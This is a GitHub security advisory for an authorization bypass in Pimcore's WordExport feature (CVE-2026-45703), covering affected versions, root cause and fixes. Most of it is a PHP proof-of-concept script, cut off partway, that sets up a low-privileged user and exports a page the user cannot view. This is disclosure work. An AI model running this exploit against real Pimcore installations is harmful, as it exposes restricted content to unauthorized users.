GitHub Advisoryadvisory · Packagist
GHSA-332x-r494-54fq Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export
MEDIUM
Official page ↗
- Aliases
- CVE-2026-45703
- Ecosystem
- Packagist
- Packages
- pimcore/pimcore
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
- Weaknesses
- CWE-863
- Reviewed
- 2026-05-27
Affected packages
• Packagist pimcore/pimcore: >= 12.0.0-RC1, < 12.3.7 → fixed in 12.3.7
• Packagist pimcore/pimcore: < 11.5.17 → fixed in 11.5.17
• Packagist pimcore/pimcore: >= 2026.1.0, < 2026.1.3 → fixed in 2026.1.3
Description
Summary
The `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
• `POC-WORDEXPORT-TITLE`
• `POC-WORDEXPORT-DESC`
Root Cause
The controller only performs a feature-level permission check before starting the export flow:
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
• TranslationController.php#L44)
It then directly resolves the target element from attacker-controlled `type/id` input:
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)
For document-like elements such as `Page` and `Snippet`, it renders content in an admin context:
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
• TranslationController.php
• TranslationController.php
No object-level authorization check such as `isAllowed('view')` is enforced on the target element.
Affected Scope
Based on the source code, the following element types may be affected:
• `page`
• `snippet`
• `email`
• `object`
For page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content.
Preconditions
• The attacker is an authenticated backend user
• The attacker has the `word_export` permission
• The attacker does not have `view` permission on the target document
Reproduction Environment
• Reproduction root: `pimcore-12.3.3-repro`
• Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
```php
boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controll…
Related
Alias · CVE (1)
- CVE-2026-45703 Pimcore is an Open Source Data & Experience Management Platform. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq web
- https://github.com/pimcore/pimcore/pull/19112 web
- https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1 web
- https://github.com/pimcore/pimcore package
- https://github.com/pimcore/pimcore/releases/tag/v12.3.7 web